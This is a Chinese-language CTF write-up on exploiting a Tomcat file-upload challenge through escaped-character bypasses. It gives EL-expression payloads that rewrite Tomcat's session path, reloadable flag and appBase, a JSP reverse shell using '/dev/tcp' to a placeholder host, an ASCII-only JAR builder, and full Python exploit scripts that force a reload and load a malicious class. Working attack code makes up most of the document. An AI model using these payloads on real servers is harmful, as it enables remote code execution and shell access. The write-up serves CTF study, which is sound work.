关键词:el表达式、ASCII ZIP Jar、tomcat reload 、jsp编译过程中StringInterpreter执行、META-INF/resources/下文件加载进webResource
解压war包得到源码,一个上传功能,设置了编码为utf-8
写入的文件后缀可控、没有检查;但文件名不可控,会被替换为随机字符串;可指定文件的写入目录,且写入文件时如果文件所在的目录不存在,会递归进行父目录的创建,可进行目录穿越;写入的文件内容可控,且以字符串编码的形式写入(而非直接传递的字节流),但前后有脏数据;
比较棘手的是一些特殊字符被 HTML 转义
< > ( )被转义常见的jsp木马无法使用
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
可使用EL 表达式规避尖括号。从 web.xml 2.4 规范版本开始默认支持 EL
${Runtime.getRuntime().exec(request.getParameter("i"));}
但要使用函数则()无法避免,因为使用el表达式,在<%%>内常用的Unicode编码也无法使用
对jsp解析,el中编码啥的也不太懂,直接按wp中的思路摸一遍
1.第一种方法(借助el表达式链)
是让部署的程序触发reload(Tomcat 关闭服务时也会)使得用户 Session 中的数据以序列化的形式持久存储到本地session.jsp文件,文件内容无转义处理过滤。并修改 appBase 目录使得写入的jsp可访问
让 Tomcat 部署的程序进行 reload 需要满足两个条件:
- Context reloadable 配置为 true(默认是 false);
- /WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化。/WEB-INF/classes/ 下已加载过的 class 文件内容发生了修改;/WEB-INF/lib/ 下已加载过的 jar 文件内容发生了修改,或者写入了新的 jar
文件。(哪怕存在脏数据,内容无法被正常解析,在 Context reloadable 为 true 的情况下也会触发 reload)
由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问,修改整个 Tomcat 的 appBase 目录使得session.jsp可访问
修改Session 文件的存储路径(默认路径是在 work 应用目录下的 SESSIONS.ser):
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
EL . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法,因此这段表达式等同于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter(“a”));
Session 数据写入:
${sessionScope[param.b]=param.c}
修改Context reloadablede的值:
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
修改整个 Tomcat 的 appBase 目录:
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
import time
import requests
PROXIES = None
# PROXIES = {
# 'http':'http://127.0.0.1:8080',
# }
if __name__ == '__main__':
target_url = "http://192.168.3.12:8080"
reverse_shell_host = "ip"
reverse_shell_port = "7999"
el_payload =r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)
2.第二种方法(ASCII ZIP Jar)
构造所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包,使得即使前后都有脏数据、且内容以字符串编码形式被写入,Java 仍然会认为它是一个有效的 Jar 包
https://github.com/Arusekk/ascii-zip
我尝试参考这个项目写个脚本解决,但文件头种crc,压缩后长度这种超出了0-127范围,且都有字节长度限制,也不能直接用他的编码函数(会变长) 传上去之后文件头部分编码变了 导致无法被识别
看了半天文档还是不知道该咋整 下面部分的操作 都是基于本地搭了个环境 直接复制jar到目录
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
zip格式部分代码如下
def wrap_zip(compressed, compressed1, filename=filename.encode(), filename1=filename1.encode(), filename2=filename2.encode()):
crc = zlib.crc32(data) % pow(2, 32)
crc1 = zlib.crc32(data1) % pow(2, 32)
print("crc: "+str(crc)+" | cre1: "+str(crc1))
return (
b'PK\3\4' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000' # Compression Method
) +
struct.pack('<L', crc) +
struct.pack('<L', len(compressed) % pow(2, 32)) +
struct.pack('<L', len(data) % pow(2, 32)) +
struct.pack('<H', len(filename)) +
b'\0\0' +
filename +
compressed +
b'PK\3\4' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000' # Compression Method
) +
struct.pack('<L', 0) +
struct.pack('<L', 0) +
struct.pack('<L', 0) +
struct.pack('<H', len(filename2)) +
b'\0\0' +
filename2 +
b'PK\3\4' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000' # Compression Method
) +
struct.pack('<L', crc1) +
struct.pack('<L', len(compressed1) % pow(2, 32)) + # 压缩后的大小
struct.pack('<L', len(data1) % pow(2, 32)) + # 未压缩之前的大小
struct.pack('<H', len(filename1)) +
b'\0\0' +
filename1 +
compressed1 +
b'PK\1\2\0\0' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000'
) +
struct.pack('<L', crc) +
struct.pack('<L', len(compressed) % pow(2, 32)) +
struct.pack('<L', len(data) % pow(2, 32)) +
struct.pack('<L', len(filename)) +
b'\0' * 10 +
struct.pack('<L', 0) + # offset of file in archive
filename +
b'PK\1\2\0\0' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000'
) +
struct.pack('<L', 0) +
struct.pack('<L', 0) +
struct.pack('<L', 0) +
struct.pack('<L', len(filename2)) +
b'\0' * 10 +
struct.pack('<L', len(compressed) + len(filename) + 0x1e) + # offset of file in archive
filename2 +
b'PK\1\2\0\0' + # Magic
binascii.unhexlify(
'0a000000' + # Version needed to extract
'080000000000'
) +
struct.pack('<L', crc1) +
struct.pack('<L', len(compressed1) % pow(2, 32)) +
struct.pack('<L', len(data1) % pow(2, 32)) +
struct.pack('<L', len(filename1)) +
b'\0' * 10 +
struct.pack('<L', len(compressed) + len(filename+filename2) + 0x1e*2) + # offset of file in archive
filename1 +
b'PK\5\6\0\0\0\0\0\0' + # Magic
# struct.pack('<H', 3) + # number of files
struct.pack('<H', 3) + # number of files
struct.pack('<L', len(filename+filename2+filename1) + 0x2e*3) + # size of CD
struct.pack('<L', len(compressed+compressed1) + len(filename+filename2+filename1) + 0x1e*3) + # offset of CD
b'\0\0'
)
修改 Tomcat Context WatchedResource 来触发reload,写入的 Jar 包能够被重新加载进入jvm。
在 Tomcat 9 环境下,默认的 WatchedResource 包括:
WEB-INF/web.xml
WEB-INF/tomcat-web.xml
${CATALINA_HOME}/conf/web.xml
在 Tomcat 开启 autoDeploy 的情况下(默认开启),一旦发现这些文件资源的 lastModified 时间被修改,会触发 reload
这里比较麻烦的是写文件漏洞的文件名不可控,无法直接加点注释传个新的上去完成覆盖
但应用本身没有 WEB-INF/tomcat-web.xml 配置文件,因此通过利用程序本身的写文件漏洞,来创建一个 WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包。
之后利用el表达式org.apache.jasper.compiler.StringInterpreter
设置其值为jar包种的恶意类名称。在jsp的编译过程中,在org/apache/jasper/compiler/Generator.java
中他会执行getStringInterpreter
,在访问 JSP 进行表达式解析的时候,就会触发类加载,加载先前写入在 Jar 中的恶意类
import requests
PROXIES = None
if __name__ == '__main__':
target_url = "http://127.0.0.1:8080"
el_payload =r"${applicationScope[param.a]=param.b}"
rr = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': open('Exploit.jar', 'rb').read(),
},
proxies=PROXIES)
r = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/tomcat-web.xml/',
'filename': 'tomcat-web.xml',
'content': """<?xml version="1.0" encoding="UTF-8"?>""",
},
proxies=PROXIES)
或者把 JSP Webshell 放在先前构造的 Jar 包里的 META-INF/resources/目录,直接通过 Web 访问
META-INF/resources/这里为什么会被加载进webResource具体的处理逻辑参考https://blog.csdn.net/solitudi/article/details/122696117
import requests
PROXIES = None
if __name__ == '__main__':
target_url = "http://127.0.0.1:8080"
el_payload =r"${applicationScope[param.a]=param.b}"
rr = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': open('Exploit.jar', 'rb').read(),
},
proxies=PROXIES)
r = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/tomcat-web.xml/',
'filename': 'tomcat-web.xml',
'content': """<?xml version="1.0" encoding="UTF-8"?>""",
},
proxies=PROXIES)
r1 = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r1.text.strip().split('\\')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': 'org.apache.jasper.compiler.StringInterpreter',
'b': 'Exploit',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r3.text.strip().split('\\')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r4 = requests.get(url=shell_url, proxies=PROXIES)
参考:
https://www.anquanke.com/post/id/267124
https://blog.csdn.net/solitudi/article/details/122678827
https://blog.csdn.net/solitudi/article/details/122696117